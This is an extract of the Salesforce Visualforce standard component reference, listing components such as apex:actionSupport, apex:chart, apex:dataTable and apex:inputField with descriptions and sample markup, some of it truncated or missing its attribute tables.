Standard Component Reference apex:actionStatus
Attributes
262
Standard Component Reference apex:actionStatus
263
Standard Component Reference apex:actionSupport
Facets
apex:actionSupport
A component that adds AJAX support to another component, allowing the component to be refreshed asynchronously by the
server when a particular event occurs, such as a button click or mouseover.
See also: <apex:actionFunction>.
Example
<!-- Page: -->
<apex:page controller="exampleCon">
<apex:form>
<apex:outputpanel id="counter">
<apex:outputText value="Click Me!: {!count}"/>
<apex:actionSupport event="onclick"
action="{!incrementCounter}"
rerender="counter" status="counterStatus"/>
</apex:outputpanel>
<apex:actionStatus id="counterStatus"
startText=" (incrementing...)"
stopText=" (done)"/>
</apex:form>
</apex:page>
264
Standard Component Reference apex:actionSupport
Attributes
265
Standard Component Reference apex:attribute
apex:attribute
A definition of an attribute on a custom component. The attribute tag can only be a child of a component tag.
Note that you cannot define attributes with names like id or rendered. These attributes are automatically created for all custom
component definitions.
Example
<!-- Page: -->
<apex:page>
<c:myComponent myValue="My component's value" borderColor="red" />
</apex:page>
<apex:component>
<apex:attribute name="myValue" description="This is the value for the component."
type="String" required="true"/>
<apex:attribute name="borderColor" description="This is color for the border."
type="String" required="true"/>
<h1 style="border:{!borderColor}">
<apex:outputText value="{!myValue}"/>
</h1>
</apex:component>
Attributes
266
Standard Component Reference apex:attribute
267
Standard Component Reference apex:axis
apex:axis
Defines an axis for a chart. Use this to set the units, scale, labeling, and other visual options for the axis. You can define up to
four axes for a single chart, one for each edge.
Note: This component must be enclosed within an <apex:chart> component. This component is only applicable to bar
and line charts.
Example
<!-- Page: -->
<apex:chart height="400" width="700" data="{!data}">
<apex:axis type="Numeric" position="left" fields="data1"
title="Opportunities Closed" grid="true"/>
<apex:axis type="Numeric" position="right" fields="data3"
title="Revenue (millions)"/>
<apex:axis type="Category" position="bottom" fields="name"
title="Month of the Year">
<apex:chartLabel rotate="315"/>
</apex:axis>
<apex:barSeries title="Monthly Sales" orientation="vertical" axis="right"
xField="name" yField="data3"/>
<apex:lineSeries title="Closed-Won" axis="left" xField="name" yField="data1"/>
</apex:chart>
Attributes
268
Standard Component Reference apex:barSeries
rendered Boolean A Boolean value that specifies whether the axis elements 23.0
are rendered with the chart. If not specified, this value
defaults to true.
title String The label for the axis. 23.0
type String Yes 23.0
Specifies the type of the axis, which is used to calculate
axis intervals and spacing. Valid options are:
• "category" for non-numeric information, such as
names of items, name of months or quarters
• "numeric" for quantitative values
apex:barSeries
A data series to be rendered as bars in a Visualforce chart. At a minimum you must specify the fields in the data collection to
use as X and Y values for each bar, as well as the X and Y axes to scale against.
Note: This component must be enclosed within an <apex:chart> component. You can have multiple <apex:barSeries>
and <apex:lineSeries> components in a single chart.
Example
<!-- Page: -->
<apex:chart height="400" width="700" data="{!data}">
<apex:axis type="Numeric" position="left" fields="data1"
title="Opportunities Closed" grid="true"/>
<apex:axis type="Numeric" position="right" fields="data3"
title="Revenue (millions)"/>
<apex:axis type="Category" position="bottom" fields="name"
title="Month of the Year"/>
<apex:barSeries title="Monthly Sales" orientation="vertical" axis="right"
xField="name" yField="data3">
<apex:chartTips height="20" width="120"/>
</apex:barSeries>
<apex:lineSeries title="Closed-Won" axis="left" xField="name" yField="data1"/>
</apex:chart>
269
Standard Component Reference apex:barSeries
Attributes
highlight Boolean A Boolean value that specifies whether each bar should 23.0
be highlighted when the mouse pointer passes over it. If
not specified, this value defaults to true.
id String An identifier that allows the chart component to be 23.0 global
referenced by other components on the page.
orientation String Yes 23.0
The direction of the bars in the chart. Valid options are:
• "horizontal"
• "vertical"
If not specified, this value defaults to "vertical".
rendered Boolean A Boolean value that specifies whether the chart series 23.0
is rendered in the chart. If not specified, this value defaults
to true.
showInLegend Boolean A Boolean value that specifies whether this chart series 23.0
should be added to the chart legend. If not specified, this
value defaults to true.
tips Boolean A Boolean value that specifies whether to display a tool 23.0
tip for each bar when the mouse pointer passes over it.
The format of the tip is <xField>: <yField>. If not
specified, this value defaults to true.
title String The title of this chart series, which is displayed in the 23.0
chart legend.
xField String The field in each record provided in the chart data from Yes 23.0
which to retrieve the x-axis value for each data point in
the series. This field must exist in every record in the
chart data.
yField String The field in each record provided in the chart data from Yes 23.0
which to retrieve the y-axis value for each data point in
the series. This field must exist in every record in the
chart data.
270
Standard Component Reference apex:chart
apex:chart
A Visualforce chart. Defines general characteristics of the chart, including size and data binding.
Example
<!-- Page: -->
<apex:chart data="{!pieData}">
<apex:pieSeries labelField="name" dataField="data1"/>
</apex:chart>
Attributes
rendered Boolean A Boolean value that specifies whether the component 23.0
is rendered on the page. If not specified, this value
defaults to true.
width Integer The width of the chart rectangle, in pixels. Yes 23.0
271
Standard Component Reference apex:chartLabel
apex:chartLabel
Defines how labels are displayed. Depending on what component wraps it, <apex:chartLabel> gives you options for
affecting labels for bar and line series labels, pie chart segments, and axes labels.
Note: This component must be enclosed by a data series component (<apex:barSeries>, <apex:lineSeries>, or
<apex:pieSeries>) or an <apex:axis> component.
Example
<!-- Page: -->
<apex:chart height="400" width="700" data="{!data}">
<apex:axis type="Numeric" position="left" fields="data1"
title="Opportunities Closed" grid="true"/>
<apex:axis type="Category" position="bottom" fields="name"
title="Month of the Year">
<apex:chartLabel rotate="315"/>
</apex:axis>
<apex:lineSeries title="Closed-Won" axis="left" xField="name" yField="data1"/>
<apex:lineSeries title="Closed-Lost" axis="left" xField="name" yField="data2"/>
</apex:chart>
Attributes
field String The field in each record provided in the chart data from 23.0
which to retrieve the label for each data point in the series.
This field must exist in every record in the chart data. If
not specified, this value defaults to "name".
font String The font to use for the label text, as a CSS-style font 23.0
definition. If not specified, this value defaults to "11px
Helvetica, sans-serif".
272
Standard Component Reference apex:chartTips
rendered Boolean A Boolean value that specifies whether the chart label is 23.0
rendered with the chart. If not specified, this value
defaults to true.
rotate Integer Degrees to rotate the label text. If not specified, this value 23.0
defaults to 0.
apex:chartTips
Defines tooltips which appear on mouseover of data series elements. This component offers more configuration options than
the default tooltips displayed by setting the tips attribute of a data series component to true.
Note: This component must be enclosed by a data series component (<apex:barSeries>, <apex:lineSeries>, or
<apex:pieSeries>).
Example
<!-- Page: -->
<apex:chart height="400" width="700" data="{!data}">
<apex:axis type="Numeric" position="left" fields="data1"
title="Millions" grid="true"/>
<apex:axis type="Category" position="bottom" fields="name"
title="Month of the Year"/>
<apex:barSeries title="Monthly Sales" orientation="vertical" axis="left"
xField="name" yField="data1">
<apex:chartTips height="20" width="120"/>
</apex:barSeries>
</apex:chart>
273
Standard Component Reference apex:column
Attributes
apex:column
A single column in a table. An <apex:column> component must always be a child of an <apex:dataTable> or
<apex:pageBlockTable> component.
Note that if you specify an sObject field as the value attribute for an <apex:column>, the associated label for that field is
used as the column header by default. To override this behavior, use the headerValue attribute on the column, or the
column's header facet.
<!-- For this example to render properly, you must associate the Visualforce page
with a valid account record in the URL.
For example, if 001D000000IRt53 is the account ID, the resulting URL should be:
https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
<apex:page standardController="Account">
<apex:pageBlock title="My Content">
274
Standard Component Reference apex:column
Attributes
275
Standard Component Reference apex:column
276
Standard Component Reference apex:column
277
Standard Component Reference apex:column
Facets
278
Standard Component Reference apex:commandButton
apex:commandButton
A button that is rendered as an HTML input element with the type attribute set to submit, reset, or image, depending on the
<apex:commandButton> tag's specified values. The button executes an action defined by a controller, and then either
refreshes the current page, or navigates to a different page based on the PageReference variable that is returned by the action.
An <apex:commandButton> component must always be a child of an <apex:form> component. To add query string
parameters to the <apex:commandButton>, specify them in the associated action method attribute.
See also: <apex:commandLink>
Attributes
279
Standard Component Reference apex:commandButton
280
Standard Component Reference apex:commandButton
281
Standard Component Reference apex:commandLink
apex:commandLink
A link that executes an action defined by a controller, and then either refreshes the current page, or navigates to a different
page based on the PageReference variable that is returned by the action. An <apex:commandLink> component must always
be a child of an <apex:form> component.
To add query string parameters to an <apex:commandLink>, specify them in the associated action method attribute.
See also: <apex:commandButton>, <apex:outputLink>.
Example
<apex:commandLink action="{!save}" value="Save" id="theCommandLink"/>
Attributes
282
Standard Component Reference apex:commandLink
283
Standard Component Reference apex:commandLink
284
Standard Component Reference apex:component
apex:component
A custom Visualforce component. All custom component definitions must be wrapped inside a single <apex:component>
tag.
<apex:page>
</apex:page>
<apex:component>
type="String" required="true"/>
type="String" required="true"/>
<h1 style="border:{!borderColor}">
<apex:outputText value="{!myValue}"/>
</h1>
285
Standard Component Reference apex:component
</apex:component>
Attributes
286
Standard Component Reference apex:componentBody
apex:componentBody
This tag allows a custom component author to define a location where a user can insert content into the custom component.
This is especially useful for generating custom iteration components. This component is valid only within an
<apex:component> tag, and only a single definition per custom component is allowed.
Simple Example
<!-- Page: -->
<apex:page>
<apex:outputText value="(page) This is before the custom component"/><br/>
<c:bodyExample>
<apex:outputText value="(page) This is between the custom component" /> <br/>
</c:bodyExample>
<apex:outputText value="(page) This is after the custom component"/><br/>
</apex:page>
Advanced Example
<!-- Page: -->
<apex:page >
<c:myaccounts var="a">
<apex:panelGrid columns="2" border="1">
<apex:outputText value="{!a.name}"/>
<apex:panelGroup >
<apex:panelGrid columns="1">
<apex:outputText value="{!a.billingstreet}"/>
<apex:panelGroup >
<apex:outputText value="{!a.billingCity},
{!a.billingState} {!a.billingpostalcode}"/>
</apex:panelGroup>
</apex:panelGrid>
</apex:panelGroup>
</apex:panelGrid>
</c:myaccounts>
287
Standard Component Reference apex:componentBody
</apex:page>
return accounts;
}
set;
}
}
<table border="1">
<tbody>
<tr>
<td>sForce</td>
<td><table>
<tbody>
<tr>
<td>The Land's Mark @ One Market</td>
</tr>
<tr>
<td>San Francisco, CA 94087</td>
</tr>
</tbody>
</table>
</td>
</tr>
</tbody>
</table>
<table border="1">
<tbody>
<tr>
<td>University U</td>
<td>
<table>
<tbody>
<tr>
<td>888 N Euclid
Hallis Center, Room 501
288
Standard Component Reference apex:composition
Tucson, AZ 85721
United States</td>
</tr>
<tr>
<td>Tucson, AZ </td>
</tr>
</tbody>
</table>
</td>
</tr>
</tbody>
</table>
</span>
</td>
</tr>
</tbody>
</table>
Attributes
apex:composition
An area of a page that includes content from a second template page. Template pages are Visualforce pages that include one
or more <apex:insert> components. The <apex:composition> component names the associated template, and provides
body for the template's <apex:insert> components with matching <apex:define> components. Any content outside
of an <apex:composition> component is not rendered.
See also: <apex:insert>, <apex:define>
Example
<!-- Page: composition -->
<!-- This page acts as the template. Create it first, then the page below. -->
<apex:page>
<apex:outputText value="(template) This is before the header"/><br/>
<apex:insert name="header"/><br/>
<apex:outputText value="(template) This is between the header and body"/><br/>
<apex:insert name="body"/>
</apex:page>
289
Standard Component Reference apex:dataList
</apex:composition>
</apex:page>
Attributes
apex:dataList
An ordered or unordered list of values that is defined by iterating over a set of data. The body of the <apex:dataList>
component specifies how a single item should appear in the list. The data set can include up to 1,000 items.
Example
<!-- For this example to render properly, you must associate the Visualforce page
For example, if 001D000000IRt53 is the account ID, the resulting URL should be:
https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
<apex:outputText value="{!account.name}"/>
</apex:dataList>
</apex:page>
290
Standard Component Reference apex:dataList
List<Account> accounts;
return accounts;
<ul id="thePage:theList">
</ul>
Attributes
291
Standard Component Reference apex:dataList
292
Standard Component Reference apex:dataTable
apex:dataTable
An HTML table that is defined by iterating over a set of data, displaying information about one item of data per row. The
body of the <apex:dataTable> contains one or more column components that specify what information should be displayed
for each item of data. The data set can include up to 1,000 items.
See also: <apex:panelGrid>
<!-- For this example to render properly, you must associate the Visualforce page
For example, if 001D000000IRt53 is the account ID, the resulting URL should be:
https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
styleClass="tableClass">
<apex:column>
<apex:facet name="header">Name</apex:facet>
<apex:outputText value="{!account.name}"/>
</apex:column>
<apex:column>
<apex:facet name="header">Owner</apex:facet>
<apex:outputText value="{!account.owner.name}"/>
293
Standard Component Reference apex:dataTable
</apex:column>
</apex:dataTable>
</apex:page>
List<Account> accounts;
if(accounts == null) accounts = [select name, owner.name from account limit 10];
return accounts;
<colgroup span="2"></colgroup>
<caption>table caption</caption>
<thead>
<tr>
</tr>
<tr>
<td scope="col">Name</td>
<td scope="col">Owner</td>
</tr>
</thead>
<tfoot>
<tr>
</tr>
294
Standard Component Reference apex:dataTable
<tr>
</tr>
</tfoot>
<tbody>
<tr class="odd">
<td>Bass Manufacturing</td>
<td>Doug Chapman</td>
</tr>
<tr class="even">
<td>Ball Corp</td>
<td>Alan Ball</td>
</tr>
<tr class="odd">
<td>Wessler Co.</td>
<td>Jill Wessler</td>
</tr>
</tbody>
</table>
Attributes
295
Standard Component Reference apex:dataTable
296
Standard Component Reference apex:dataTable
297
Standard Component Reference apex:dataTable
298
Standard Component Reference apex:define
Facets
apex:define
A template component that provides content for an <apex:insert> component defined in a Visualforce template page.
See also: <apex:composition>, <apex:insert>
Example
<!-- Page: composition -->
<!-- This page acts as the template. Create it first, then the page below. -->
<apex:page>
<apex:outputText value="(template) This is before the header"/><br/>
<apex:insert name="header"/><br/>
<apex:outputText value="(template) This is between the header and body"/><br/>
<apex:insert name="body"/>
</apex:page>
299
Standard Component Reference apex:detail
Attributes
apex:detail
The standard detail page for a particular object, as defined by the associated page layout for the object in Setup. This component
includes attributes for including or excluding the associated related lists, related list hover links, and title bar that appear in
the standard Salesforce application interface.
Example
<!-- For this example to render properly, you must associate the Visualforce page
with a valid account record in the URL.
For example, if 001D000000IRt53 is the account ID, the resulting URL should be:
https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
<apex:page standardController="Account">
<apex:detail subject="{!account.ownerId}" relatedList="false" title="false"/>
</apex:page>
Attributes
300
Standard Component Reference apex:dynamicComponent
subject String The ID of the record that should provide data for this 10.0 global
component.
title Boolean A Boolean value that specifies whether the title bar is 10.0 global
included in the rendered component. If true, the title bar
is displayed. If not specified, this value defaults to true.
apex:dynamicComponent
This tag acts as a placeholder for your dynamic Apex components. It has one required parameter—componentValue—which
accepts the name of an Apex method that returns a dynamic component.
The following Visualforce components do not have dynamic Apex representations:
301
Standard Component Reference apex:dynamicComponent
• <apex:actionRegion>
• <apex:attribute>
• <apex:component>
• <apex:componentBody>
• <apex:composition>
• <apex:define>
• <apex:dynamicComponent>
• <apex:flash>
• <apex:inputFile>
• <apex:include>
• <apex:insert>
• <apex:pageMessage>
• <apex:pageMessages>
• <apex:variable>
• <apex:vote>
• Any non-<apex:> tag, like <chatter:>, <flow:>, <ideas:>, <knowledge:>, <messaging:>, or <site:>
Example
><!-- For this example to render properly, you must associate the Visualforce page
with a valid account record in the URL.
For example, if 001D000000IeChM is the account ID, the resulting URL should be:
https://Salesforce_instance/apex/myPage?id=001D000000IeChM
See the Visualforce Developer's Guide Quick Start Tutorial for more information.
-->
><!-- For this example to render properly, you must associate the Visualforce page
with a valid account record in the URL.
For example, if 001D000000IeChM is the account ID, the resulting URL should be:
https://Salesforce_instance/apex/myPage?id=001D000000IeChM
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
public class dynamicSample {
return detail;
}
}
302
Standard Component Reference apex:enhancedList
Attributes
apex:enhancedList
The list view picklist for an object, including its associated list of records for the currently selected view. In standard Salesforce
applications this component is displayed on the main tab for a particular object. This component has additional attributes that
can be specified, such as the height and rows per page, as compared to <apex:listView>.
Note: When an <apex:enhancedList> is rerendered through another component's rerender attribute, the
<apex:enhancedList> must be inside of an <apex:outputPanel> component that has its layout attribute set to
"block". The <apex:enhancedList> component is not allowed on pages that have the attribute showHeader set to false.
You can only have five <apex:enhancedList> components on a single page. Ext JS versions less than 3 should not be
included on pages that use this component.
See also: <apex:listView>. Notes:
Example
<apex:page>
<apex:enhancedList type="Account" height="300" rowsPerPage="10" id="AccountList" />
<apex:enhancedList type="Lead" height="300" rowsPerPage="25"
id="LeadList" customizable="False" />
</apex:page>
Attributes
303
Standard Component Reference apex:enhancedList
304
Standard Component Reference apex:facet
apex:facet
A placeholder for content that is rendered in a specific part of the parent component, such as the header or footer of an
<apex:dataTable>.
An <apex:facet> component can only exist in the body of a parent component if the parent supports facets. The name of
the facet component must match one of the pre-defined facet names on the parent component. This name determines where
the content of the facet component is rendered. Consequently, the order in which a facet component is defined within the
body of a parent component does not affect the appearence of the parent component.
See <apex:dataTable> for an example of facets.
<!-- For this example to render properly, you must associate the Visualforce page
with a valid account record in the URL.
For example, if 001D000000IRt53 is the account ID, the resulting URL should be:
https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
<!-- Shows a two column table of contacts associated with the account.
The account column headers are controlled by the facets.-->
<apex:page standardController="Account">
<apex:pageBlock title="Contacts">
<apex:dataTable value="{!account.Contacts}" var="contact" cellPadding="4" border="1">
<apex:column >
<apex:facet name="header">Name</apex:facet>
{!contact.Name}
</apex:column>
<apex:column >
<apex:facet name="header">Phone</apex:facet>
{!contact.Phone}
</apex:column>
</apex:dataTable>
</apex:pageBlock>
</apex:page>
Attributes
305
Standard Component Reference apex:flash
apex:flash
A Flash movie, rendered with the HTML object and embed tags.
Attributes
306
Standard Component Reference apex:form
apex:form
A section of a Visualforce page that allows users to enter input and then submit it with an <apex:commandButton> or
<apex:commandLink>. The body of the form determines the data that is displayed and the way it is processed. It's a best
practice to verify that pages and custom components use at most one <apex:form> tag.
As of API version 18.0, this tag can't be a child component of <apex:repeat>.
Example
<!-- For this example to render properly, you must associate the Visualforce page
with a valid case record in the URL.
For example, if 001D000000IRt53 is the case ID, the resulting URL should be:
https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
<div class="pbBody">
<table class="list" border="0" cellpadding="0" cellspacing="0">
<colgroup span="5"/>
<thead>
<tr class="headerRow ">
<th class="headerRow " scope="col">Case Number</th>
<th class="headerRow " scope="col">Account Name</th>
307
Standard Component Reference apex:form
<tbody>
<tr class="dataRow even first ">
<td class="dataCell"><span>00001000</span></td>
<td class="dataCell"><span>Edge Communications</span></td>
<td class="dataCell"><span>Rose Gonzalez</span></td>
<td class="dataCell"><span>Starting generator after electrical
failure</span></td>
<td class="dataCell">
<select>
<option value="">--None--</option>
<option value="New">New</option>
<option value="Working" selected="selected">Working</option>
<option value="Escalated">Escalated</option>
<option value="Closed">Closed</option>
</select>
</td>
</tr>
Attributes
308
Standard Component Reference apex:form
309
Standard Component Reference apex:iframe
apex:iframe
A component that creates an inline frame within a Visualforce page. A frame allows you to keep some information visible
while other information is scrolled or replaced.
Example
<apex:iframe src="http://www.salesforce.com" scrolling="true" id="theIframe"/>
310
Standard Component Reference apex:image
Attributes
apex:image
A graphic image, rendered with the HTML <img> tag.
Example
<apex:image id="theImage" value="/img/myimage.gif" width="220" height="55"/>
Resource Example
<apex:image id="theImage" value="{!$Resource.myResourceImage}" width="200" height="200"/>
311
Standard Component Reference apex:image
Attributes
312
Standard Component Reference apex:image
313
Standard Component Reference apex:include
apex:include
A component that inserts a second Visualforce page into the current page. The entire page subtree is injected into the Visualforce
DOM at the point of reference and the scope of the included page is maintained.
If content should be stripped from the included page, use the <apex:composition> component instead.
Example
<!-- Page: -->
<apex:page id="thePage">
<apex:outputText value="(page) This is the page."/><br/>
<apex:include pageName="include"/>
</apex:page>
Attributes
apex:includeScript
A link to a JavaScript library that can be used in the Visualforce page. When specified, this component injects a script reference
into the head element of the generated HTML page.
For performance reasons, you may simply want to use a JavaScript tag before your closing <apex:page> tag, rather than this
component.
314
Standard Component Reference apex:inlineEditSupport
Example
<apex:includeScript value="{!$Resource.example_js}"/>
Attributes
apex:inlineEditSupport
This component provides inline editing support to <apex:outputField> and various container components. In order to
support inline editing, this component must also be within an <apex:form> tag.
The <apex:inlineEditSupport> component can only be a descendant of the following tags:
• <apex:dataList>
• <apex:dataTable>
• <apex:form>
• <apex:outputField>
• <apex:pageBlock>
• <apex:pageBlockSection>
• <apex:pageBlockTable>
• <apex:repeat>
<!-- For this example to render properly, you must associate the Visualforce page
For example, if 001D000000IRt53 is the contact ID, the resulting URL should be:
https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
<apex:page standardController="Contact">
<apex:form >
<apex:pageBlock mode="inlineEdit">
<apex:pageBlockButtons >
315
Standard Component Reference apex:inputCheckbox
Attributes
apex:inputCheckbox
An HTML input element of type checkbox. Use this component to get user input for a controller method that does not
correspond to a field on a Salesforce object.
316
Standard Component Reference apex:inputCheckbox
Example
<!-- For this example to render properly, you must associate the Visualforce page
with a valid opportunity record in the URL.
For example, if 001D000000IRt53 is the opportunity ID, the resulting URL should be:
https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
<!-- allows you to change the privacy option of your opportunity -->
<form id="j_id0:changePrivacyForm" name="j_id0:changeStatusForm" method="post"
action="/apex/sandbox" enctype="application/x-www-form-urlencoded">
<!-- opening div tags -->
<table border="0" cellpadding="0" cellspacing="0">
<tr>
<td class="pbTitle"> </td>
<td id="j_id0:changePrivacyForm:j_id1:j_id29" class="pbButton">
<input type="submit"
name="j_id0:changePrivacyForm:j_id1:j_id29:j_id30"
value="Save" class="btn"/>
</td>
</tr>
</table>
<div class="pbBody">
<table class="list" border="0" cellpadding="0" cellspacing="0">
<colgroup span="3"/>
<thead>
<tr class="headerRow ">
<th class="headerRow " scope="col">Opportunity Name</th>
<th class="headerRow " scope="col">Account Name</th>
<th class="headerRow " scope="col">Privacy?</th>
</tr>
</thead>
<tbody>
<tr class="dataRow even first ">
<td class="dataCell"><span>Burlington Textiles Weaving Plant
Generator</span></td>
<td class="dataCell"><span>Burlington Textiles Corp of America</span></td>
317
Standard Component Reference apex:inputCheckbox
Attributes
318
Standard Component Reference apex:inputCheckbox
319
Standard Component Reference apex:inputField
apex:inputField
An HTML input element for a value that corresponds to a field on a Salesforce object. The <apex:inputField> component
respects the attributes of the associated field, including whether the field is required or unique, and the user interface widget
to display to get input from the user. For example, if the specified <apex:inputField> component is a date field, a calendar
input widget is displayed. When used in an <apex:pageBlockSection>, <apex:inputField> tags always display with
their corresponding output label.
Note that if custom help is defined for the field in Setup, the field must be a child of an <apex:pageBlock> or
<apex:pageBlockSectionItem>, and the Salesforce page header must be displayed for the custom help to appear on your
Visualforce page. To override the display of custom help, use the <apex:inputField> in the body of an
<apex:pageBlockSectionItem>.
Consider the following when using JavaScript events with this tag:
• For lookup fields, mouse events fire on both the text box and graphic icon
• For multi-select picklists, all events fire, but the DOM ID is suffixed with _unselected for the left box, _selected
for the right box, and _right_arrow and _left_arrow for the graphic icons
• For rich text areas, no events fire.
Beginning with API version 20.0, an inputField matched to a field with a default value has the default value prepopulated on
the Visualforce page.
Note: Read-only fields, and fields for certain Salesforce objects with complex automatic behavior such as
Event.StartDateTime and Event.EndDateTime, don't render as editable when using <apex:inputField>. Use a
different input component such as <apex:inputText> instead.
<!-- For this example to render properly, you must associate the Visualforce page
with a valid account record in the URL.
For example, if 001D000000IRt53 is the account ID, the resulting URL should be:
https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
<apex:page standardController="Account">
<apex:form>
<apex:pageBlock title="My Content" mode="edit">
<apex:pageBlockButtons>
320
Standard Component Reference apex:inputField
Attributes
321
Standard Component Reference apex:inputFile
apex:inputFile
A component that creates an input field to upload a file.
322
Standard Component Reference apex:inputFile
Example
<!-- Upload a file and put it in your personal documents folder-->
Attributes
323
Standard Component Reference apex:inputFile
324
Standard Component Reference apex:inputHidden
apex:inputHidden
An HTML input element of type hidden, that is, an input element that is invisible to the user. Use this component to pass
variables from page to page.
Example
<apex:inputHidden value="{!inputValue}" id="theHiddenInput"/>
Attributes
325
Standard Component Reference apex:inputSecret
apex:inputSecret
An HTML input element of type password. Use this component to get user input for a controller method that does not
correspond to a field on a Salesforce object, for a value that is masked as the user types.
Example
<apex:inputSecret value="{!inputValue}" id="theSecretInput"/>
Attributes
326
Standard Component Reference apex:inputSecret
327
Standard Component Reference apex:inputSecret
328
Standard Component Reference apex:inputText
apex:inputText
An HTML input element of type text. Use this component to get user input for a controller method that does not correspond
to a field on a Salesforce object.
This component does not use Salesforce styling. Also, since it does not correspond to a field, or any other data on an object,
custom code is required to use the value the user inputs.
Example
<apex:inputText value="{!inputValue}" id="theTextInput"/>
Attributes
329
Standard Component Reference apex:inputText
330
Standard Component Reference apex:inputTextarea
apex:inputTextarea
A text area input element. Use this component to get user input for a controller method that does not correspond to a field
on a Salesforce object, for a value that requires a text area.
Example
<!-- For this example to render properly, you must associate the Visualforce page
with a valid contract record in the URL.
For example, if 001D000000IRt53 is the contract ID, the resulting URL should be:
https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
<apex:page standardController="Contract">
<apex:form id="changeDescription">
<apex:pageBlock>
<p>Current description: {!contract.description}</p>
<p>Change description to:</p>
<apex:inputTextarea id="newDesc" value="{!contract.description}"/><p/>
<apex:commandButton value="Save" action="{!save}"/>
</apex:pageBlock>
</apex:form>
</apex:page>
331
Standard Component Reference apex:inputTextarea
Attributes
332
Standard Component Reference apex:inputTextarea
333
Standard Component Reference apex:insert
apex:insert
A template component that declares a named area that must be defined by an <apex:define> component in another
Visualforce page. Use this component with the <apex:composition> and <apex:define> components to share data
between multiple pages.
Example
<!-- Page: composition -->
<!-- This page acts as the template. Create it first, then the page below. -->
<apex:page>
<apex:outputText value="(template) This is before the header"/><br/>
<apex:insert name="header"/><br/>
<apex:outputText value="(template) This is between the header and body"/><br/>
<apex:insert name="body"/>
</apex:page>
Attributes
334
Standard Component Reference apex:legend
apex:legend
Defines a chart legend. This component offers additional configuration options beyond the defaults used by the legend attribute
of the <apex:chart> component.
Note: This component must be enclosed within an <apex:chart> component.
Example
<!-- Page: -->
<apex:chart height="400" width="700" data="{!data}">
<apex:legend position="right"/>
<apex:axis type="Numeric" position="left" fields="data1,data2"
title="Opportunities Closed" grid="true"/>
<apex:axis type="Category" position="bottom" fields="name"
title="Month of the Year"/>
<apex:lineSeries title="Closed-Won" axis="left" xField="name" yField="data1"/>
<apex:lineSeries title="Closed-Lost" axis="left" xField="name" yField="data2"/>
</apex:chart>
Attributes
rendered Boolean A Boolean value that specifies whether the chart legend 23.0
is rendered with the chart. If not specified, this value
defaults to true.
spacing Integer The amount of spacing between legend items, in pixels. 23.0
335
Standard Component Reference apex:lineSeries
apex:lineSeries
A data series to be rendered as connected points in a Visualforce chart. At a minimum you must specify the fields in the data
collection to use as X and Y values for each point, as well as the X and Y axes to scale against.
Note: This component must be enclosed within an <apex:chart> component. You can have multiple <apex:barSeries>
and <apex:lineSeries> components in a single chart.
Example
<!-- Page: -->
<apex:chart height="400" width="700" data="{!data}">
<apex:axis type="Numeric" position="left" fields="data1,data2"
title="Opportunities Closed" grid="true"/>
<apex:axis type="Category" position="bottom" fields="name"
title="Month of the Year"/>
<apex:lineSeries title="Closed-Won" axis="left" xField="name" yField="data1"
fill="true" markerType="cross" markerSize="4" markerFill="#FF0000"/>
<apex:lineSeries title="Closed-Lost" axis="left" xField="name" yField="data2"
markerType="circle" markerSize="4" markerFill="#8E35EF"/>
</apex:chart>
Attributes
fill Boolean A Boolean value that specifies whether the area under 23.0
the line should be filled or not. If not specified, this value
defaults to false.
highlight Boolean A Boolean value that specifies whether each point should 23.0
be highlighted when the mouse pointer passes over it. If
not specified, this value defaults to true.
id String An identifier that allows the chart component to be 23.0 global
referenced by other components on the page.
markerFill String The color of data point markers for this series, specified 23.0
as an HTML-style (hexadecimal) color. This color will
also be used for the line connecting the data points.
Required if you want to display data point markers.
336
Standard Component Reference apex:listViews
rendered Boolean A Boolean value that specifies whether the chart series 23.0
is rendered in the chart. If not specified, this value defaults
to true.
showInLegend Boolean A Boolean value that specifies whether this chart series 23.0
should be added to the chart legend. If not specified, this
value defaults to true.
tips Boolean A Boolean value that specifies whether to display a tooltip 23.0
for each data point marker when the mouse pointer passes
over it. The format of the tip is <xField>: <yField>. If
not specified, this value defaults to true.
title String The title of this chart series, which will be displayed in 23.0
the chart legend.
xField String The field in each record provided in the chart data from Yes 23.0
which to retrieve the x-axis value for each data point in
the series. This field must exist in every record in the
chart data.
yField String The field in each record provided in the chart data from Yes 23.0
which to retrieve the y-axis value for each data point in
the series. This field must exist in every record in the
chart data.
apex:listViews
The list view picklist for an object, including its associated list of records for the currently selected view. In standard Salesforce
applications this component is displayed on the main tab for a particular object.
See also: <apex:enhancedList>.
337
Standard Component Reference apex:message
Attributes
Facets
apex:message
A message for a specific component, such as a warning or error. If an <apex:message> or <apex:messages> component
is not included in a page, most warning and error messages are only shown in the debug log.
Example
<!-- For this example to render properly, you must associate the Visualforce page
with a valid account record in the URL.
For example, if 001D000000IRt53 is the account ID, the resulting URL should be:
